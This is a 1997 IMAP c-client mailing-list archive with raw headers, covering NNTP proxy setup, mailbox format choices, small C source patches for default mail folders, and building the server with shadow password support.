(8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id JAA46506 for ; Thu, 21 Aug 1997 09:15:35 -0700 Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id JAA20153 for ; Thu, 21 Aug 1997 09:15:33 -0700 Received: from muddog_cac.cac.washington.edu (D-140-142-110-31.dhcp.washington.edu [140.142.110.31]) by mailhost1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with SMTP id JAA03832; Thu, 21 Aug 1997 09:15:30 -0700 Message-Id: Date: Thu, 21 Aug 1997 09:16:16 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Terry Gray To: David Henry Cc: c-client@u.washington.edu Subject: Re: NNTP configuration In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Whether there should be a default news server name for nntp proxy, and if so, how to set that default, is a reasonable question, but one which I'll leave for Mark to address when he returns from vacation. However, I believe the client *must* have the ability to over-ride any such default. If the news spool is local to the imapd, there is no proxying involved, so it is indeed simpler. (Your example *without* the /nntp is the correct one.) -teg On Thu, 21 Aug 1997, David Henry wrote: > It seems to me like the user needs to know a lot about their > environment to access the news server. > > If I understand the source code correctly, news support in the c-client > server would handle the case where the IMAP server has direct access to > the news directories (e.g. IMAP server installed directly on the news > server), in which case, the user would need not specify anything more > than {news.u.washington.edu/nntp}#news.comp.mail.imap > or maybe {news.u.washington.edu}#news.comp.mail.imap > Correct? > > So, if the IMAP server can be configured to act as a proxy for NNTP > should the user need to know what news server the imap server should > proxy to? I don't think they should. So, as I see it, the imap server > needs to be able to be configured to know to automatically proxy to the > nntp server when a connection is made to {imap.server}#news.news.group > > As I mentioned in my previous inquiry, the imap2bis server I am running > has this ability. (Granted, it is a fairly old imap2bis, and this > feature uses an entry in the verbotten /etc/imapd.conf file to achieve > its ends. There is an entry like "set nntp-proxy-host host.name" in it.) > > Now, I just want to figure out a way, without requiring local source > code changes, if possible, to achieve the same functionality. Am I > wasting my time? > > David Henry > > On Wed, 20 Aug 1997 16:32:52 -0700 (Pacific Daylight Time) Terry Gray > wrote: > > > This is the syntax I use with Pine to have our imap server act as an NNTP > > proxy: > > > > {shivams.cac:145}{news.u.washington.edu/nntp}#news.comp.mail.imap > > > > where the imap server happens to be running on port 145 of a host called > > shivams... > > > > -teg > > > > On Tue, 19 Aug 1997, David Henry wrote: > > > > > I have looked throught the archives of this list to see if I could find > > > an answer to my question, to no avail. > > > > > > I am trying to install the IMAP 4.1 BETA server, and I am having some > > > trouble figuring out how to configure the server to use an NNTP server > > > upon an attempt to select #news.foo.bar. > > > > > > My current server is IMAP2bis, which contains a mechanism for > > > explicitly specifying the nntp proxy host. I can find nothing which > > > will do this in the IMAP 4.1 server. > > > > > > So, what am I missing? > > > > > > Thanks in advance, > > > > > > David Henry > > > Academic IT Services > > > University of Maryland > > > > > > > > > > > > From pinedev@shivax2.cac.washington.edu Thu Aug 21 23:45:20 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 21 Aug 1997 23:45:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id XAA29136 for ; Thu, 21 Aug 1997 23:45:19 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id XAA13298; Thu, 21 Aug 1997 23:45:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id XAA49522; Thu, 21 Aug 1997 23:44:57 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id XAA07700 for ; Thu, 21 Aug 1997 23:44:23 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pchar@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id XAA17129 for ; Thu, 21 Aug 1997 23:44:21 -0700 Message-Id: Date: Thu, 21 Aug 1997 23:40:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: David Henry Cc: Terry Gray , c-client@u.washington.edu Subject: Re: NNTP configuration In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 21 Aug 1997 11:14:30 -0400 (EDT), David Henry wrote: > As I mentioned in my previous inquiry, the imap2bis server I am running > has this ability. (Granted, it is a fairly old imap2bis, and this > feature uses an entry in the verbotten /etc/imapd.conf file to achieve > its ends. There is an entry like "set nntp-proxy-host host.name" in it.) > > Now, I just want to figure out a way, without requiring local source > code changes, if possible, to achieve the same functionality. Am I > wasting my time? The imap2bis server which you were using was a locally-modified version, and not a standard version. It *is* under consideration to provide a more automatic proxy facility in the standard version. Such a mechanism will *NOT* use the evil imapd.conf file. I can not predict at the present time when this will happen; I have several other higher-priority items on the front-burner. From pinedev@shivax2.cac.washington.edu Mon Sep 15 15:46:34 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 15 Sep 1997 15:46:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id PAA22907 for ; Mon, 15 Sep 1997 15:46:33 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with ESMTP id PAA08179; Mon, 15 Sep 1997 15:46:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id PAA47504; Mon, 15 Sep 1997 15:45:34 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id PAA20738 for ; Mon, 15 Sep 1997 15:43:31 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id PAA08319 for ; Mon, 15 Sep 1997 15:43:29 -0700 Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with SMTP id PAA08117 for ; Mon, 15 Sep 1997 15:43:27 -0700 Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0xAjme-0004aC-00; Mon, 15 Sep 1997 15:38:20 -0700 Message-Id: Date: Mon, 15 Sep 1997 15:38:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Tom To: c-client@CAC.Washington.EDU Subject: MT mailboxes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN How do I deliever mail into a MTX mailbox? I recall a local delivery program being talked about, but I can't find it. Tom From pinedev@shivax2.cac.washington.edu Tue Sep 16 12:42:45 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 16 Sep 1997 12:42:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id MAA06141 for ; Tue, 16 Sep 1997 12:42:44 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with ESMTP id MAA28446; Tue, 16 Sep 1997 12:42:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA28888; Tue, 16 Sep 1997 12:41:37 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA25340 for ; Tue, 16 Sep 1997 12:40:16 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id MAA01961 for ; Tue, 16 Sep 1997 12:40:14 -0700 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with ESMTP id MAA28368 for ; Tue, 16 Sep 1997 12:40:11 -0700 Received: from piney_cac (D-128-95-135-222.dhcp.washington.edu [128.95.135.222]) by mailhost2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with SMTP id MAA07814; Tue, 16 Sep 1997 12:39:59 -0700 Message-Id: Date: Tue, 16 Sep 1997 12:40:36 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "David L. Miller" To: Tom Cc: c-client@CAC.Washington.EDU Subject: Re: MT mailboxes In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: dlm@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I think you are looking for the tmail utility in ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z --DLM On Mon, 15 Sep 1997, Tom wrote: > Message-ID: > Date: Mon, 15 Sep 1997 15:38:19 -0700 (PDT) > Sender: C-CLIENT-owner@u.washington.edu > Precedence: bulk > From: Tom > To: c-client@CAC.Washington.EDU > Subject: MT mailboxes > X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > > > How do I deliever mail into a MTX mailbox? I recall a local delivery > program being talked about, but I can't find it. > > Tom > > From pinedev@shivax2.cac.washington.edu Tue Sep 16 18:28:40 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 16 Sep 1997 18:28:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id SAA16684 for ; Tue, 16 Sep 1997 18:28:39 -0700 (PDT) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with ESMTP id SAA06391; Tue, 16 Sep 1997 18:28:34 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id SAA13680; Tue, 16 Sep 1997 18:26:38 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id SAA36398 for ; Tue, 16 Sep 1997 18:25:49 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id SAA25198 for ; Tue, 16 Sep 1997 18:25:47 -0700 Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with SMTP id SAA06359; Tue, 16 Sep 1997 18:25:40 -0700 Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0xB8n8-0005LD-00; Tue, 16 Sep 1997 18:20:30 -0700 Message-Id: Date: Tue, 16 Sep 1997 18:20:29 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Tom To: "David L. Miller" Cc: c-client@CAC.Washington.EDU Subject: Re: MT mailboxes In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 16 Sep 1997, David L. Miller wrote: > I think you are looking for the tmail utility in > > ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z > > --DLM That's it. Now, if I don't care at all about backwards compatability, and NFS will NOT be used, which mailbox format will be best for general imap and pop use? I belive that mtx is the best for this kind of thing, but I've also seen mbx recommended. Tom From pinedev@shivax2.cac.washington.edu Wed Sep 17 10:57:58 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Wed, 17 Sep 1997 10:57:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id KAA30381 for ; Wed, 17 Sep 1997 10:57:56 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with ESMTP id KAA21673; Wed, 17 Sep 1997 10:57:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA27366; Wed, 17 Sep 1997 10:56:28 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA07856 for ; Wed, 17 Sep 1997 10:55:47 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with ESMTP id KAA25063 for ; Wed, 17 Sep 1997 10:55:43 -0700 Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with ESMTP id KAA21627 for ; Wed, 17 Sep 1997 10:55:41 -0700 Received: from shivax.cac.washington.edu (shivax.cac.washington.edu [140.142.100.4]) by mailhost1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.07) with SMTP id KAA06973; Wed, 17 Sep 1997 10:55:34 -0700 Message-Id: Date: Wed, 17 Sep 1997 10:55:32 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: David L Miller To: Tom Cc: c-client@CAC.Washington.EDU Subject: Re: MT mailboxes In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 16 Sep 1997, Tom wrote: > Now, if I don't care at all about backwards compatability, and NFS > will NOT be used, which mailbox format will be best for general imap and > pop use? I belive that mtx is the best for this kind of thing, but I've > also seen mbx recommended. > I would recommend mbx format at this point. It is very similar to mtx or tenex, but adds support for persistent UIDs and user-defined flags. It is also the format 60k+ users here at UW are pounding on daily, so that is where most of Mark's optimization efforts may be focused ;-) If you have a significant number of shared mailboxes, you might also want to explore mx format. It has the benefit of allowing expunges while multiple users have a mailbox open. The big downside of it is that it has miserable performance, due largely to its MH format (one file per message) ancestry. -- David L. Miller | In the End, we will remember not Software Engineer, Pine Development Team | the words of our enemies, but the Box 354841, University of Washington | silence of our friends. -- Martin 4545 15th Ave NE, Seattle WA 98105, USA | Luther King, Jr. Phone: (206)685-6240 FAX: (206)685-4045 | From pinedev@shivax2.cac.washington.edu Mon Oct 27 05:20:58 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 27 Oct 1997 05:20:58 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id FAA29018 for ; Mon, 27 Oct 1997 05:20:57 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id FAA28565; Mon, 27 Oct 1997 05:20:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id FAA25008; Mon, 27 Oct 1997 05:20:22 -0800 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id FAA31864 for ; Mon, 27 Oct 1997 05:18:17 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id FAA07825 for ; Mon, 27 Oct 1997 05:18:15 -0800 Received: from faun.nada.kth.se (faun.nada.kth.se [130.237.222.80]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id FAA21911 for ; Mon, 27 Oct 1997 05:18:12 -0800 Received: from localhost (psv@localhost) by faun.nada.kth.se (8.8.7/8.8.7) with SMTP id OAA18727 for ; Mon, 27 Oct 1997 14:17:59 +0100 (MET) Message-Id: Date: Mon, 27 Oct 1997 14:17:58 +0100 (MET) Reply-To: Peter Svanberg Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Peter Svanberg To: c-client@CAC.Washington.EDU Subject: File names for Imapd MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN 1) I would like to set the default folder directory for Imapd (to spare our users from making that preferences setting in Netscape). We run Unix Solaris 2. I tried to find out how to do this, but it wasn't easy. Would a change of the static char *blackBoxDefaultHome = NIL; line in env_unix.c to static char *blackBoxDefaultHome = "~/mail"; do it? Will it also work for the mbox driver, i.e. will it still fetch new messages from the spool directory? (I saw that these things are debated for the IMAP protocol but I suppose it isn't solved and implemented in Netscape yet?) 2) Is it hard to fix so that the mbox driver is the default for user, even if they don't have an mbox file? --- Peter Svanberg, NADA, KTH E-mail: psv@nada.kth.se Dept of Num An & CS, Royal Inst of Tech Phone: +46 8 790 71 40 S-100 44 Stockholm, SWEDEN Fax: +46 8 10 18 64 From pinedev@shivax2.cac.washington.edu Mon Oct 27 10:21:12 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 27 Oct 1997 10:21:11 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA01311 for ; Mon, 27 Oct 1997 10:21:10 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA27701; Mon, 27 Oct 1997 10:20:54 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA30202; Mon, 27 Oct 1997 10:19:32 -0800 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA30150 for ; Mon, 27 Oct 1997 10:17:59 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA20284 for ; Mon, 27 Oct 1997 10:17:30 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (dak@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA27594 for ; Mon, 27 Oct 1997 10:17:06 -0800 Message-Id: Date: Mon, 27 Oct 1997 10:07:50 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Peter Svanberg Cc: c-client@CAC.Washington.EDU Subject: re: File names for Imapd In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 27 Oct 1997 14:17:58 +0100 (MET), Peter Svanberg wrote: > 1) I would like to set the default folder directory for Imapd > (to spare our users from making that preferences setting in > Netscape). We run Unix Solaris 2. > static char *blackBoxDefaultHome = "~/mail"; The change to blackBoxDefaultHome is not correct. The best way is to change routine env_init() in env_unix.c, specifically the lines: if (!blackBox) { /* not a black box? */ myHomeDir = cpystr (home);/* use real home directory */ to: if (!blackBox) { /* not a black box? */ sprintf (tmp,"%s/mail",home); myHomeDir = cpystr (tmp); /* use real home directory */ > 2) Is it hard to fix so that the mbox driver is the default > for user, even if they don't have an mbox file? Change routine mbox_valid() in mbox.c to be: DRIVER *mbox_valid (char *name) { char tmp[MAILTMPLEN]; char *s = mailboxfile (tmp,name); /* only INBOX */ return (s && !*s) ? &mboxdriver : NIL; } In routine mbox_open(), change the lines: /* open mailbox, snarf new mail */ if (!(unix_open (stream) && mbox_ping (stream))) return NIL; to be: /* create mbox if doesn't exist */ if (stat (tmp)) unix_create (NIL,"mbox"); /* open mailbox, snarf new mail */ if (!(unix_open (stream) && mbox_ping (stream))) return NIL; From pinedev@shivax2.cac.washington.edu Tue Nov 4 00:00:36 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 4 Nov 1997 00:00:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id AAA22759 for ; Tue, 4 Nov 1997 00:00:35 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id AAA24353; Tue, 4 Nov 1997 00:00:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id XAA26206; Mon, 3 Nov 1997 23:59:54 -0800 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id XAA30720 for ; Mon, 3 Nov 1997 23:58:52 -0800 Received: from z3.hkt.net (z3.hkt.net [202.84.255.6]) by mx5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id XAA21746 for ; Mon, 3 Nov 1997 23:58:47 -0800 Received: from localhost (jttlee@localhost) by z3.hkt.net (8.8.7/8.8.7) with SMTP id QAA20805 for ; Tue, 4 Nov 1997 16:00:16 +0800 Message-Id: Date: Tue, 4 Nov 1997 16:00:16 +0800 (HKT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: John Lee To: c-client@u.washington.edu Subject: IMAP server that supports Shadow password on Linux MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, The current version of the IMAP server does not seem to support shadow password on Linux. Is there any plan to support shadow password on Linux (in particular Slackware 3.3 from Walnut Creek)? Thanks! Regards, John Lee Hongkong Telecom Internet Services From pinedev@shivax2.cac.washington.edu Tue Nov 4 00:13:35 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 4 Nov 1997 00:13:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id AAA22082 for ; Tue, 4 Nov 1997 00:13:34 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id AAA03562; Tue, 4 Nov 1997 00:13:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id AAA00703; Tue, 4 Nov 1997 00:12:32 -0800 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id AAA55168 for ; Tue, 4 Nov 1997 00:11:26 -0800 Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id AAA04531 for ; Tue, 4 Nov 1997 00:11:22 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (gtw@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id AAA01998; Tue, 4 Nov 1997 00:11:14 -0800 Message-Id: Date: Tue, 4 Nov 1997 00:04:19 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: John Lee Cc: c-client@u.washington.edu Subject: re: IMAP server that supports Shadow password on Linux In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 4 Nov 1997 16:00:16 +0800 (HKT), John Lee wrote: > The current version of the IMAP server does not seem to support shadow > password on Linux. Please review the information in the README file, and follow the directions in that file carefully. It may help you avoid other problems. The README file tells you to look in the Makefile to find the list of supported ports. In that file, you will find a line which reads: # slx Linux with shadow password security So, you need to do "make slx" instead of "make lnx" to build on Linux systems which have shadow passwords. From pinedev@shivax2.cac.washington.edu Tue Nov 4 00:36:33 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 4 Nov 1997 00:36:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id AAA23093 for ; Tue, 4 Nov 1997 00:36:32 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id AAA24822; Tue, 4 Nov 1997 00:36:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id AAA02018; Tue, 4 Nov 1997 00:35:51 -0800 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id AAA54046 for ; Tue, 4 Nov 1997 00:35:29 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id AAA26220 for ; Tue, 4 Nov 1997 00:35:26 -0800 Received: from mail.car.chula.ac.th (kung@mail.car.chula.ac.th [161.200.145.4]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id AAA03825 for ; Tue, 4 Nov 1997 00:35:10 -0800 Received: from localhost (kung@localhost) by mail.car.chula.ac.th (8.7.6/8.7.3) with SMTP id PAA20904 for ; Tue, 4 Nov 1997 15:37:59 +0700 (GMT+0700) Message-Id: Date: Tue, 4 Nov 1997 15:37:59 +0700 (THA) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Tikumporn Oontiarnunt To: c-client@CAC.Washington.EDU Subject: about MAILER-DAEMON 's message MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Dear all, Why when I connect to imap server using IMAP protocol , do my job on mail message and then quit, there is one message from MAILER-DAEMON@... (... mean my server) add to my mailbox as the first message? The content in this message is "This message contains IMAP server internal information." and the subject is "DON'T DELETE THIS MESSAGE" Please tell me about this. Thanks, Tikumporn. From pinedev@shivax2.cac.washington.edu Tue Nov 4 07:19:48 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 4 Nov 1997 07:19:48 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id HAA28022 for ; Tue, 4 Nov 1997 07:19:47 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id HAA00164; Tue, 4 Nov 1997 07:19:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id HAA11038; Tue, 4 Nov 1997 07:19:07 -0800 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id HAA17594 for ; Tue, 4 Nov 1997 07:17:54 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx5.u.washington.edu 